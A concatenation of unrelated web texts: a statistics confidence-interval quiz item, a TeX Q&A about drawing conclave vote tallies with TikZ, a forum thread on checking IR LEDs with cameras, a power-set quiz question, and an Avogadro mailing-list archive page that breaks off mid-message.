text:
Limited access

A random sample of $50\text{ professional athletes}$ were asked: "Would you use steroids to improve performance?" A $95\%$ confidence interval was constructed from the data to find the proportion of athletes who would use steroids to improve performance. The resulting interval is $(0.44,0.53)$.

Which of the following statements is true?

A

Between $44\%$ to $53\%$ of all athletes would use steroids to improve performance.

B

We are $95\%$ confident that in this particular sample of athletes, $44\%$ to $53\%$ would use steroids to improve performance.

C

We are $95\%$ confident that the true proportion of all athletes that would use steroids to improve performance is between $44\%$ to $53\%$.

D

In $95\%$ of all surveys, between $44\%$ to $53\%$ of all athletes report they would do steroids to improve performance.

E

In $95\%$ of all surveys, we would capture the sample proportion of athletes who would use steroids to improve performance.

Select an assignment template

format: plain


text:
# Helping cardinals elect the new Pope

Yes, we are talking about TeX and friends!

Edit: I decided to move the background motivation to the end of the question, since it seems to be kind of off-topic in the TeX context.

The following code is just a preliminary idea. My plan is to hide a notebook inside the Sistine Chapel, open a spreadsheet application and start to count votes for the new pope election.

The following list contains the name of the 115 candidates to become the new pope. In the whole process, data is manually tabulated according to the voting ballots, and every cardinal annotates in his own vota scrutinii the number of votes for each candidate. It's still ruled by ink and paper.

Now, it's just a matter of exporting data to .csv and use Nicola Talbot's awesome datatool package in order to generate a beautiful report for the cardinals! But wait a minute, we still need to keep up the tradition, ink and pen.

Thanks to my buddy percusse, it's TikZ time! Let's fake some handwriting annotation for the votes! The idea here is very simple: get the number of votes, generate a TikZ picture with a visual representation of the current number and present it.

First things first. Here it is cardinals.csv:

Surname,Name,Votes
Kasper,Walter,0
Poletto,Severino,0
Sandoval Íñiguez,Juan,0
Danneels,Godfried,0
Errázuriz ossa,Francisco Javier,0
Farina,Raffaele,0
Agnelo,Geraldo Majella,7
Meisner,Joachim,0
Vela Chiriboga,Raúl Eduardo,0
Re,Giovanni Battista,0
Tettamanzi,Dionigi,0
Monterisi,Francesco,0
Hummes,Cláudio,15
Amigo Vallejo,Carlos,0
Sardi,Paolo,0
Cordes,Paul Josef,0
Rodé,Franc,0
Bertone,Tarcisio,11
Pham Minh Mân,Jean-Baptiste,0
Lajolo,Giovanni,0
Naguib,Antonios,0
Rigali,Justin Francis,0
De Paolis,Velasio,0
Abril y Castelló,Santos,0
da Cruz Policarpo,José ,0
Mahony,Roger Michael,0
Terrazas Sandoval,Julio,0
Dias,Ivan,0
Lehmann,Karl,0
Levada,William Joseph,0
Okogie,Anthony Olubunmi,0
Turcotte,Jean-Claude,0
Rouco Varela,Antonio María,0
Ortega y Alamino,Jaime Lucas,0
López Rodrígues,Nicolás de Jesús,0
Antonelli,Ennio,0
Sarr,Théodore-Adrien,0
Bergoglio,Jorge Mario,0
George,Francis Eugene,0
Bačkis,Audrys Juozas,0
Damasceno Assis,Raymundo,7
Nicora,Attilio,0
Martínez Sistach,Lluís,0
Vegliò,Antonio Maria,0
Romeo,Paolo,0
Coccopalmerio,Francesco,0
Monteiro de Castro,Manuel,0
Caffarra,Carlo,0
Amato,Angelo,0
O'Brien,Edwin Frederik,0
Dziwisz,Stanisław,29
Tong Hon,John,0
Brady,Seán Baptist,0
Monsengwo,Pasinya Laurent,0
Grocholewsky,Zenon,0
Toppo,Telesphore Placidus,0
Raï,Béchara Boutros,0
Vallini,Agostino,0
Wuerl,Donald William,0
Zubeir Wako,Gabriel,0
Napier,Wilfrid Fox,0
Pell,George,0
Scola,Angelo,0
Rivera Carrera,Norberto,0
Urosa Savino,Jorge Liberato,0
Salazar Gómez,Rubén,0
Bertello,Giuseppe,0
Ravasi,Gianfranco,0
Vingt-Trois,André,0
Rodríguez Maradiaga,Óscar Andrés,0
Bagnasco,Angelo,0
Calcagno,Domenico,0
Duka,Dominik,0
Sepe,Crescenzio,0
Tauran,Jean-Louis,0
Versaldi,Giuseppe,0
Comastri,Angelo,0
Sandri,Leonardo,0
Cipriani Thorne,Juan Luis,0
Onaiyekan,John Olorunfemi,0
Ouellet,Marc,0
O’Malley,Sean Patrick,0
Pengo,Polycarp,0
Piacenza,Mauro,0
Ricard,Jean-Pierre,0
Gracias,Oswald,0
Njue,John,0
Schönborn,Christoph,0
Alencherry,George,0
Sarah,Robert,0
Ryłko,Stanisław,0
Puljić,Vinko,0
Cañizares Llovera,Antonio,0
Filoni,Fernando,0
Collins,Thomas Christopher,0
Betori,Giuseppe,0
Braz de Avis,João,21
Patabendige Don,Albert Malcolm Ranjith,0
Burke,Raymond Leo,0
Turkson,Peter Kodwo Appiah,0
Robles Ortega,Francisco,0
Bozanić,Josip,0
DiNardo,Daniel Nicholas,0
Scherer,Odilo Pedro,37
Harvey,James Michael,0
Nycz,Kazimierz,0
Dolan,Timothy Michael,2
Koch,Kurt,0
Barbarin,Philippe,0
Erdő,Péter,0
Eijk,Willem Jacobus,0
Marx,Reinhard,0
Woelki,Rainer Maria,0
Tagle,Luis Antonio,0
Thottunkal,Baselios Cleemis,0

And now, our beloved vota.tex:

\documentclass{article}

\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}

\usepackage[top=1.5cm, bottom=1.5cm, left=1.5cm, right=1.5cm, landscape]{geometry}

\usepackage{lmodern}
\usepackage{datatool}
\usepackage{multicol}
\usepackage{xspace}

\usepackage{tikz}
\usetikzlibrary{calc,decorations}
\makeatletter
\pgfdeclaredecoration{penciline}{initial}{
\state{initial}[width=+\pgfdecoratedinputsegmentremainingdistance,auto corner on length=1mm,]{\pgfpathcurveto{%
\pgfqpoint{\pgfdecoratedinputsegmentremainingdistance}{\pgfdecorationsegmentamplitude}}{\pgfmathrand\pgfpointadd{%
\pgfqpoint{\pgfdecoratedinputsegmentremainingdistance}{0pt}}{\pgfqpoint{-\pgfdecorationsegmentaspect\pgfdecoratedinputsegmentremainingdistance}
{\pgfmathresult\pgfdecorationsegmentamplitude}}}{\pgfpointadd{\pgfpointdecoratedinputsegmentlast}{\pgfpoint{1pt}{1pt}}}}\state{final}{}}

\tikzset{
prison/.style={
append after command={
\pgfextra{\ifnum#1=0\else
\foreach \x in {0,...,\number\numexpr#1-1\relax}{
\coordinate (mytemp) at ($(\tikzlastnode.north west)!0.3333*\x!(\tikzlastnode.north east)$);
\draw[decorate] (mytemp) -- (mytemp|-\tikzlastnode.south);}\fi
}
}
},
fived/.style={append after command={
\pgfextra{
\draw[decorate] ([shift={(-2mm,1mm)}]\tikzlastnode.south west)--([shift={(2mm,-1mm)}]\tikzlastnode.north east);}
}
}
}
\makeatother

\newcommand{\drawvotes}[1]{%
\begin{tikzpicture}[decoration=penciline]
\def\numofscr{#1}
\pgfmathtruncatemacro\residue{Mod(\numofscr,5)}
\pgfmathtruncatemacro\numoflots{\numofscr/5}
\ifnum\numofscr<5\else
\foreach \x in {1,...,\numoflots}{
\node[prison=4,fived] (a) at (\x,0) {};
}
\fi
\node[prison=\residue] at (\numoflots+1,0) {};
\end{tikzpicture}
}

\DTLloaddb{cardinals}{cardinals.csv}

\begin{document}

\pagestyle{empty}

\begin{center}
{\Huge\textsc{Vota Scrutinii}}
\end{center}

\vspace{1em}

\begin{multicols}{2}
\begin{enumerate}
\DTLforeach{cardinals}{\surname=Surname,\name=Name,\votes=Votes}{%
\item \textsc{\surname\xspace\drawvotes{\votes}}}
\end{enumerate}
\end{multicols}

\end{document}

A taste of the output:

Let's highlight the voting part:

Yay, we just brought TeX and friends to the election of the pope! Now, I'd love to improve the code and add, if possible, the following features:

1. A cardinal is elected pope if he obtains 2/3 of all votes. If one the candidates reach this number, we could add a nice blue circle around his name in the list, and probably a note with Habemus Papam! near it. That way, the lazy cardinals will easily spot the elected one. :)

2. If no one reaches 2/3 of the votes, at least we now have a perspective of the voting scheme, like the top voted cardinals, which will influence the next voting sessions. My idea is, if no cardinal reaches 2/3 of all votes, let's add a nice red circle around the names of the 5 top voted cardinals, so we can easily spot the trend going on. :)

Feel free to add more features if you like. :)

Well, that's it. Hope you guys like the initial code and idea. :) Now, we need to kindly ask egreg or Claudio Fiandrino to go to Rome and convince the cardinals to use our proposal. It will be way funnier. :)

Any help is appreciated. :)

Background

Being catholic, the election of a new pope is a milestone for me. Actually, with Pope Benedict XVI resigning, this will be the second election I watch - Pope John Paul II was elected in 1978, a few years before I was born, but of course I watched Cardinal Ratzinger being elected. :) I even saw the white smoke on television!

My dad used to tell me a lot of stories from past elections. I think the whole process is quite amusing, specially the way cardinals vote for their candidates.

Cardinal José Freire Falcão, former archbishop of Brasília, gave a very nice interview to a Brazilian website in which he showed documents from the last conclave. This is the voting ballot, where the cardinal writes down the name of his choice. After every cardinal casts his vote, it's time to tabulate data! This is done in this other document, called vota scrutinii.

I'm almost sure the process is the very same done since the beginning of time, with ink and paper. But of course, how about giving them a little help with LaTeX and friends? :)

-
This will have to wait for the next round, Rome's bureaucracy moves slowly... –  vonbrand Mar 10 '13 at 16:46
Interesting, even if I'm still wondering how ducks are involved... you might add a yellow duck rather than the blue circle for the elected cardinal. Isn't a possibility? –  Claudio Fiandrino Mar 10 '13 at 17:05
Dear downvoter: in order to improve my question, I'd love to hear some feedback, some positive criticism, on why this humble attempt deserves a downvote. :) Although the question sounds different comparing to the other questions in our Q&A, I still think it's valid from the TeX point of view. –  Paulo Cereda Mar 10 '13 at 17:25
A possible reason for the downvote: The religion story at the beginning. I don't see how that is relevant the TeX question at all. –  Svend Tveskæg Mar 10 '13 at 17:40
To be precise: "candidates" are not only the cardinals. Every catholic man can theoretically become pope. –  Ulrike Fischer Mar 10 '13 at 22:13

## 1 Answer

My datatool skills are limited, so the following solution uses TeX primitives and PGFs mathematical engine and also its \pgfutil@in@ macro/conditional.

### Interaction

• Line 99: Minimum ratio a Cardinal needs to get elected as Pope.

\pgfmathparse{2/3*\the\value{sumVotes}}

• Line 70: Number of Cardinals that will be marked if no one has reached the limit. As this will be used inside a \foreachloop it should be at least 3 (→ Top 3).

\setcounter{numberOfTopCardinals}{5}

There are some explanations needed: If two or more Cardinals got the same number of votes they will both be added to the Top list. This means that, although the numberOfTopCardinals is set to, say 5, we could have six or more Cardinals in the Top 5 list. Aka “Tie”.

• The \ifHabemusPapam conditional can be used to check whether the limit of minimum votes has been reached by one of the Cardinals.

• The styles papa, not papa and top as well as every name can be used to change the appearance of the list.

### How does it work?

Fairly simply:

• First loop:
• Prepare the macros for the top list (\votesForPlace<place>)
• Second loop:
• Sum over all votes
• If one’s Cardinal vote is greater than one of the number of votes in the list include it and push the last one out. (I’m sure this sorting “alogrithm” has a name …)
• Third loop:
• The \votesOfTopCardinals macro will contain all number of votes that appear in the top list.
• Check if the top number of votes (\votesForPlace1) is greater or equal than the amount needed. This will set \ifHabemusPapam.
• Main loop (via \setStyleForVotes):
• If someone has more than two thirds of the votes, he will be assigned style papa.
• If no one has more than two thirds of the votes, it will be checked if the amount of votes exist in the top list. If yes, he will be assigned top, otherwise not papa.
• The resulting TikZ node uses the selected style and the every name style.

## Code

\documentclass{article}
\usepackage[T1]{fontenc}\usepackage[utf8]{inputenc}

\usepackage[top=1.5cm, bottom=1.5cm, left=1.5cm, right=1.5cm, landscape]{geometry}

\def\theenumi{\Roman{enumi}}

\usepackage{lmodern,datatool,multicol,xspace}
\usepackage{tikz}
\usetikzlibrary{calc,decorations}

\makeatletter
\pgfdeclaredecoration{penciline}{initial}{
\state{initial}[width=+\pgfdecoratedinputsegmentremainingdistance,
auto corner on length=1mm] {
\pgfpathcurveto{
\pgfqpoint{\pgfdecoratedinputsegmentremainingdistance}
{\pgfdecorationsegmentamplitude}
}{\pgfmathrand\pgfpointadd{\pgfqpoint{\pgfdecoratedinputsegmentremainingdistance}
{0pt}}
{\pgfqpoint{-\pgfdecorationsegmentaspect\pgfdecoratedinputsegmentremainingdistance}
{\pgfmathresult\pgfdecorationsegmentamplitude}
}
}{\pgfpointadd{\pgfpointdecoratedinputsegmentlast}{\pgfpoint{1pt}{1pt}}}
}
\state{final}{}
}
\makeatother

\tikzset{
prison/.style={
append after command={
\pgfextra
\ifnum#1=0\else
\foreach \x in {0,...,\number\numexpr#1-1\relax} {%
\coordinate (mytemp)
at ($(\tikzlastnode.north west)!0.3333*\x!(\tikzlastnode.north east)$);
\draw[decorate] (mytemp) -- (mytemp |- \tikzlastnode.south);}%
\fi
\endpgfextra
}
},
fived/.style={
append after command={
\pgfextra
\draw[decorate] ([shift={(-2mm,1mm)}]\tikzlastnode.south west) --
([shift={(2mm,-1mm)}]\tikzlastnode.north east);
\endpgfextra
}
},
}

\newcommand{\drawvotes}[1]{%
\begin{tikzpicture}[decoration=penciline]
\def\numofscr{#1}
\pgfmathtruncatemacro\residue{Mod(\numofscr,5)}
\pgfmathtruncatemacro\numoflots{\numofscr/5}
\ifnum\numofscr<5\else
\foreach \x in {1,...,\numoflots} \node[prison=4,fived] (a) at (\x,0) {};
\fi
\node[prison=\residue] at (\numoflots+1,0) {};
\end{tikzpicture}%
}

\DTLloaddb{cardinals}{cardinals.csv}

\newif\ifHabemusPapam
\newcounter{sumVotes}
\newcounter{numberOfTopCardinals}

%%%%% Number of Cardinals that will be marked if no one reached two thirds %%%
\setcounter{numberOfTopCardinals}{5}% > 2                                  %%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\foreach \i in {1,...,\value{numberOfTopCardinals}}{%
\expandafter\gdef\csname votesForPlace\i\endcsname{0}%
}

\DTLforeach{cardinals}{\votes=Votes}{%
\addtocounter{sumVotes}{\votes}%
\foreach \i in {1,...,\value{numberOfTopCardinals}} {
\ifnum\csname votesForPlace\i\endcsname=\votes\breakforeach\fi
\ifnum\csname votesForPlace\i\endcsname<\votes
\foreach \j in {\the\numexpr\value{numberOfTopCardinals}-1\relax,...,\i} {%
\global\expandafter\let
\csname votesForPlace\the\numexpr\j+1\relax\expandafter\endcsname
\csname votesForPlace\j\endcsname
}%
\expandafter\xdef\csname votesForPlace\i\endcsname{\votes}%
\breakforeach
\fi
}%
}
%\errmessage{\csname votesForPlace1\endcsname}% (debug)
\def\votesOfTopCardinals{}%
\def\votesOfPapa{10000}% = infinity
\foreach \i in {1,...,\value{numberOfTopCardinals}} {%
\xdef\votesOfTopCardinals{\votesOfTopCardinals,\csname votesForPlace\i\endcsname,}%
}
%\errmessage{\votesOfTopCardinals}% (debug)
\pgfmathparse{2/3*\the\value{sumVotes}}
%\errmessage{\pgfmathresult}% (debug)
\ifdim\pgfmathresult pt>\csname votesForPlace1\endcsname pt
\else\HabemusPapamtrue\fi

\makeatletter
\def\qrr@pgfutil@in@#1#2{% to save \expandafters
\edef\pgf@tempa{{#1}{#2}}%
\expandafter\pgfutil@in@\pgf@tempa}

\newcommand*{\setStyleForVotes}[2]{% #1 = votes
% #2 = macro to save style
\def\myStyle{not papa}%
\ifHabemusPapam
\ifnum\csname votesForPlace1\endcsname=#1\relax
\def#2{papa}%
\fi
\else
\qrr@pgfutil@in@{,#1,}\votesOfTopCardinals
\ifpgfutil@in@
\def#2{top}%
\fi
\fi
}
\makeatother

\tikzset{
not papa/.style={draw=none, fill=none},
papa/.style={draw=blue},
top/.style={draw=red},
expand me/.style={#1},
every name/.style={
font=\scshape,
anchor=base,
rounded corners,
}
}
\begin{document}
\pagestyle{empty}
\begin{center}
{\Huge\textsc{Vota Scrutinii}}
\end{center}

\vspace{1em}
\begin{multicols}{2}
\begin{enumerate}
\DTLforeach{cardinals}{\surname=Surname,\name=Name,\votes=Votes}{%
\setStyleForVotes\votes\myStyle
\item \tikz[baseline]\node[expand me/.expand once=\myStyle,every name]{\surname};%
\xspace\drawvotes{\votes}%
}%
\end{enumerate}
\end{multicols}
\end{document}

## Output

-
Great answer, thanks! :) –  Paulo Cereda Mar 11 '13 at 1:06
@PauloCereda I have updated my answer. The solution is much more structured and I got rid of the sorting. It compiles much faster now. I am by no means a graphical designer but it should be relatively easy to make the output prettier. The \ifHabemusPapam conditional can be used to … disable the smoke detector. ;) –  Qrrbrbirlbel Mar 11 '13 at 2:35


text:
# Testing IR Leds

Status
Not open for further replies.

#### mattg2k4

##### New Member
Are there any readily available materials that will light up under IR for quick verification of whether an IR led is working? I know I could set up a circuit with a phototransistor, but I'd like to see if this would be a viable method first.

#### Sebi

##### Active Member
All cameras can see the IR, some types better as visible light.

#### Nigel Goodwin

##### Super Moderator
mattg2k4 said:
Are there any readily available materials that will light up under IR for quick verification of whether an IR led is working? I know I could set up a circuit with a phototransistor, but I'd like to see if this would be a viable method first.

If you look at it through a cam-corder or digital camera, you will see it as lighting up white - this has been commonly used for years to check remote controls. You can also buy a small 'card', I've no idea how they work, but they appear to have a coating which absorbs the IR and gives off visible light - these are sold in the TV trade for testing remotes.

Personally I now use an IR Remote tester I built myself, but it probably wouldn't be of help to you, as it requires 38KHz modulation (as used by IR remotes) - it wouldn't detect an unmodulated IR LED.

You could also simply measure the current through it, and the voltage across it, these would give a good indication if it was working or not.

#### crust

##### Member
I have a little card that I use for a UV laser. I hold it up in the beam and it glows bright orange. I know that there was also an IR card that was maybe $3 USD or so (the UV one was ~$100 USD).

in fact here is one

#### McGuinn

##### New Member
I have used cameras for testing for quite a while, but I notice that some of the newer ones are not sensative to IR any more. IR affects photos taken in direct sun-light, and reducing a camera's sensitivity to IR is seen as the way forward... apparently.

#### mattg2k4

##### New Member
Well I just tried my digital camera, and its completely blind to my IR led.

Know where I can pick up one of those IR sensitive cards?

#### Nigel Goodwin

##### Super Moderator
mattg2k4 said:
Well I just tried my digital camera, and its completely blind to my IR led.

Have you tried it with your TV remote?.

testing ir

#### bmcculla

##### New Member
All Digital camera detectors will detect IR. The problem is that high quality cameras have a IR filter that removes IR. Get a cheap webcam or better yet a pinhole cam that has no filtering at all.

www.cyberguys.com has a little webcam for \$9.95. Part Number 2040582.

Brent

#### mattg2k4

##### New Member
I do have an old USB camera I'd completely forgotten about. It picks up the IR leds just fine, thanks for the suggestions!

Status
Not open for further replies.

Replies
11
Views
950
Replies
5
Views
2K
Replies
17
Views
2K
Replies
0
Views
906
Replies
5
Views
2K


text:
67 views

Let $A$ be a finite set of size $n$, the number of elements in the power set of $A \times A$ is

1. $2^{2^n}$
2. $2^{n^2}$
3. ${(2^n)}^2$
4. ${(2^2)}^n$

Cardinality of |A*A| = n2
Power Set of |A*A| = 2n^2

1 vote
1
117 views


text:
You can subscribe to this list here.

 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 Jan Feb (1) Mar (1) Apr May (5) Jun (1) Jul Aug Sep Oct Nov Dec Jan Feb (2) Mar Apr May Jun (10) Jul (1) Aug (13) Sep (12) Oct (57) Nov (17) Dec (12) Jan (25) Feb (25) Mar (17) Apr (8) May (34) Jun (27) Jul (6) Aug (31) Sep (48) Oct (21) Nov (8) Dec (9) Jan (22) Feb (3) Mar (20) Apr (15) May (22) Jun (4) Jul (23) Aug (17) Sep (12) Oct (9) Nov (21) Dec (30) Jan (17) Feb (9) Mar (27) Apr (7) May (20) Jun (12) Jul (12) Aug (14) Sep (10) Oct (10) Nov (6) Dec (10) Jan (15) Feb (26) Mar (29) Apr (31) May (31) Jun (8) Jul (8) Aug (5) Sep (13) Oct (7) Nov (3) Dec (14) Jan (3) Feb (18) Mar (1) Apr (13) May (4) Jun (10) Jul (5) Aug (2) Sep (13) Oct (11) Nov (4) Dec (8) Jan (3) Feb (3) Mar (6) Apr (22) May (2) Jun (13) Jul (25) Aug (15) Sep (4) Oct (2) Nov (11) Dec (6) Jan (4) Feb (12) Mar (11) Apr (8) May (2) Jun (11) Jul (6) Aug (2) Sep (5) Oct (9) Nov (21) Dec (9) Jan (9) Feb (2) Mar (3) Apr (4) May (6) Jun Jul (4) Aug Sep Oct Nov Dec (2)

Showing results of 1265

1 2 3 .. 51 > >> (Page 1 of 51)
 [Avogadro-Discuss] supercell From: Sugan Ya - 2017-12-08 09:49:08 Attachments: Message as HTML Hello I want to build a supercell of 2*2*1 from the .cif file. I am using super cell option in avogadro. When I open my .cif file, I see some broken molecules (not complete structures). As this broken molecules create trouble in generating input for MD runs. Could you please suggest, how to create a proper complete supercell from .cif file. I could not solve this from many days. Please do the needful ; Virus-free. http://www.avast.com ; <#DAB4FAD8-2DD7-40BB-A1B8-4E2AA1F9FDF2>
 [Avogadro-Discuss] Translation From: William Gambazza - 2017-12-07 20:53:17 Hi everybody, first of all : a big thanks to all dev members for having made this soft. As a teacher i could tell you that many of us find it appropriate to use it with students I'm also writing to get help for translation With my colleagues we're using Avogadro in a school context but it is in english and we'd prefer it would be in french but if i've found the files (https://translations.launchpad.net/avogadro/trunk/+lang/fr) : i don't find on the web how to use them ? Could you please indicate me how to operate the translation of the last version of Avogadro best regards William
 Re: [Avogadro-Discuss] Avogdro v-1.2.0 Won't Open in v-9.0.0 From: Geoffrey Hutchison - 2017-07-21 19:35:16 > The distribution Avogadro and dependencies installed (via Synaptic) without complaint. However, here is the run log: None of these are particularly problems. What's the issue? -Geoff
 [Avogadro-Discuss] Fwd: Avogdro v-1.2.0 Won't Open in v-9.0.0 From: Stephen P. Molnar - 2017-07-20 11:50:59  -------- Original Message -------- Subject: Avogdro v-1.2.0 Won't Open in v-9.0.0 Date: Thu, 20 Jul 2017 07:32:14 -0400 From: Stephen P. Molnar To: avogadro-discuss@... I have just upgraded Debian platform to 9.0.0 (from 8.8.0). The distribution Avogadro and dependencies installed (via Synaptic) without complaint. However, here is the run log: comp@...:~$avogadro "Avogadro version: 1.2.0 Git: LibAvogadro version: 1.2.0 Git: " Locale: "en_US" Libavogadro translations not found. System has OpenGL support. About to test OpenGL capabilities. OpenGL capabilities found: Double Buffering. Direct Rendering. Antialiasing. Loading plugins: "/usr/bin/../lib/avogadro/1_2" Searching for plugins in "/usr/lib/avogadro/1_2" Searching for plugins in "/usr/lib/avogadro/1_2/colors" Searching for plugins in "/usr/lib/avogadro/1_2/engines" Searching for plugins in "/usr/lib/avogadro/1_2/extensions" Searching for plugins in "/usr/lib/avogadro/1_2/tools" Loading plugins: "/home/comp/.avogadro/1_2/plugins" Settings are missing for the next engines: () QStackedLayout::setCurrentWidget: Widget 0x55ae0ef29520 not contained in stack dev warning: Extension "GAMESS" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Orbitals" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Python Terminal" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Vibration" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. HOMO at: -1 GLWidget initialisation... GLSL support enabled, OpenGL 2.0 support confirmed. GLWidget initialised... createObjects() libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: cHRM: invalid chromaticities I don't have the faintest idea as to what the problem might be, Avogadro ran without problems in Debian 8.8.0. Assistance will be appreciated; Thanks in advance. -- Stephen P. Molnar, Ph.D. Life is a fuzzy set http://www.molecular-modeling.net Stochastic and multivariate (614)312-7528 (c) Skype: smolnar1 I should add that I just discovered that a problem is that the structure is not drawn in the view window. However if I look in one of the extensions for input, Orca, for example, the information is there. -- Stephen P. Molnar, Ph.D. Life is a fuzzy set http://www.molecular-modeling.net Stochastic and multivariate (614)312-7528 (c) Skype: smolnar1   [Avogadro-Discuss] Avogdro v-1.2.0 Won't Open in v-9.0.0 From: Stephen P. Molnar - 2017-07-20 11:32:21 I have just upgraded Debian platform to 9.0.0 (from 8.8.0). The distribution Avogadro and dependencies installed (via Synaptic) without complaint. However, here is the run log: comp@...:~$ avogadro "Avogadro version: 1.2.0 Git: LibAvogadro version: 1.2.0 Git: " Locale: "en_US" Libavogadro translations not found. System has OpenGL support. About to test OpenGL capabilities. OpenGL capabilities found: Double Buffering. Direct Rendering. Antialiasing. Loading plugins: "/usr/bin/../lib/avogadro/1_2" Searching for plugins in "/usr/lib/avogadro/1_2" Searching for plugins in "/usr/lib/avogadro/1_2/colors" Searching for plugins in "/usr/lib/avogadro/1_2/engines" Searching for plugins in "/usr/lib/avogadro/1_2/extensions" Searching for plugins in "/usr/lib/avogadro/1_2/tools" Loading plugins: "/home/comp/.avogadro/1_2/plugins" Settings are missing for the next engines: () QStackedLayout::setCurrentWidget: Widget 0x55ae0ef29520 not contained in stack dev warning: Extension "GAMESS" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Orbitals" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Python Terminal" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. dev warning: Extension "Vibration" is using a deprecated DockWidget loading method. See Extension::dockWidgets() documentation. HOMO at: -1 GLWidget initialisation... GLSL support enabled, OpenGL 2.0 support confirmed. GLWidget initialised... createObjects() libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: iCCP: known incorrect sRGB profile libpng warning: cHRM: invalid chromaticities I don't have the faintest idea as to what the problem might be, Avogadro ran without problems in Debian 8.8.0. Assistance will be appreciated; Thanks in advance. -- Stephen P. Molnar, Ph.D. Life is a fuzzy set http://www.molecular-modeling.net Stochastic and multivariate (614)312-7528 (c) Skype: smolnar1
 Re: [Avogadro-Discuss] Avogadro software From: Geoffrey Hutchison - 2017-07-06 22:30:21 Dear Gerd, Avogadro is a 3D editor. There is no intent to display 2D images. It sounds like you want to generate 2D depictions from your files. For that, I'd suggest Open Babel or RDKit, which can easily do this. Best regards, -Geoff --- Prof. Geoffrey Hutchison Department of Chemistry University of Pittsburgh tel: (412) 648-0492 email: geoffh@... web: http://hutchison.chem.pitt.edu/ > On Jul 6, 2017, at 8:07 AM, Gerd Hradetzky wrote: > > Hello Prof. Hutchison, > > I am using your software Avogadro as a viewer for mol files (*.mol) for > our database thermophysical pure-substance data. > Unfortunately no 2D display is possible. (right?) > My wish: Is it possible in the near future to display 2D and 3D pictures > from mole files? > > Many thanks for this helpful software. > Best wishes, > Gerd Hradetzky >
 [Avogadro-Discuss] question about germanene nanoribbon From: Azadeh Ayatollahie - 2017-05-24 15:09:22 Attachments: Message as HTML Dear all I need 7-AGeNR( Armchair germanene nanoribbon) input file in siesta(7-AGeNR.fdf). I will be so grateful if you send it to me or tell me how I can find it. best regards Azadeh
 [Avogadro-Discuss] (no subject) From: Azadeh Ayatollahie - 2017-05-24 05:41:27 Attachments: Message as HTML
 [Avogadro-Discuss] question about germanene nanoribbon From: Azadeh Ayatollahie - 2017-05-23 04:43:35 Attachments: Message as HTML Dear all I need 7-AGeNR( Armchair germanene nanoribbon) input file in siesta(7-AGeNR.fdf). I will be so grateful if you send it to me or tell me how I can find it. best regards Azadeh
 [Avogadro-Discuss] question about germanene nanoribbon From: Azadeh Ayatollahie - 2017-05-12 16:48:31 Attachments: Message as HTML Dear all I need 7-AGeNR( Armchair germanene nanoribbon) input file in siesta(7-AGeNR.fdf). I will be so grateful if you send it to me or tell me how I can find it. best regards Azadeh
 Re: [Avogadro-Discuss] Avogradro installation problem (Linux) From: Hülsmann, Marco - 2017-05-02 11:42:41 Attachments: Message as HTML Hi Geoff, thanks for your replied. I tried the new version together with Eigen 3. Then, using cmake, I get /usr/local/hpc5/include_eigen/include/eigen3" does not appear to contain CMakeLists.txt Why does it have to it contain it? In fact, it doesn't. Best regards, Marco Von: Geoffrey Hutchison [mailto:geoff.hutchison@...] Gesendet: Montag, 1. Mai 2017 21:36 An: avogadro-discuss@... Betreff: Re: [Avogadro-Discuss] Avogradro installation problem (Linux) One way or another, I think you are picking up Eigen 3. My suggestion would be to compile from the current Git version, that will become 1.3: https://github.com/cryos/avogadro Best regards, -Geoff
 Re: [Avogadro-Discuss] Avogradro installation problem (Linux) From: Geoffrey Hutchison - 2017-05-01 19:35:43 Attachments: Message as HTML One way or another, I think you are picking up Eigen 3. My suggestion would be to compile from the current Git version, that will become 1.3: https://github.com/cryos/avogadro ; Best regards, -Geoff
 [Avogadro-Discuss] Avogradro installation problem (Linux) From: Hülsmann, Marco - 2017-04-28 16:16:51 Attachments: Avogadro_Error_Message.pdf Message as HTML Hello! I have problems with the installation of Avogadro on a Linux system. I installed OpenBabel and Eigen2 successfully and used cmake with the options -DEIGEN2_INCLUDE_DIR, -DOPENBABEL2_INCLUDE_DIR and -DOPENBABEL2_LIBRARIES (I indicated the libinchi.so). The OpenBabel version is 2.3.2. When I type "make", I get some curious C++ error messages (see attachment). They are in German. In English, it would be "Error: >> Transform3d<< in namespace >>Eigen<< does not denote a type Const Eigen::Transform3d & modelview() const;" Does anybody know about this problem? I'm looking forward to any helpful reply! Thank you very much in advance! Marco --- Dr. rer. nat. Marco Hülsmann (Dipl.-Math.) Fachbereich Informatik & Fachbereich für Elektrotechnik, Maschinenbau und Technikjournalismus (EMT) Hochschule Bonn-Rhein-Sieg Grantham-Allee 20 53757 Sankt Augustin Raum B-112 Tel.: 02241/865-391
 Re: [Avogadro-Discuss] UNL after using Fill Unit Cell From: Željko M. Svedružić - 2017-04-24 16:00:19 Attachments: Message as HTML  Hi, we are preparing our compounds in Avogadro 1.1.1.1 and then use them in Gromacs and NAMD. We save the compounds as mol2 file in Avogadro, than we import the mol2 file to some parametrization program such as AcPype. AcPype will give you a PDF format for the ligand that you can stick at the end of your PDB file with protein coordinates. The PDB can be tan converted to gmx with pdb2gmx or to psf with VMD psf builder. Hope this helps, it works for us great in the last two years Cheers, http://www.svedruziclab.com On 2017-04-23 10:12, Nash, Anthony wrote: > Hi all, > > I am trying to recreate the unit cell assemblage of 4z1r (visible using the PDB NGL viewer on the website). > > After importing my structure and checking the unit cell dimensions, I set the space group (5 c 2y c 1 2 1 as determined using Maestro) then select "Fill Unit Cell". Visually, everything looks good. But unfortunately, all means of identifying the atom and the corresponding residue is lost in the exported 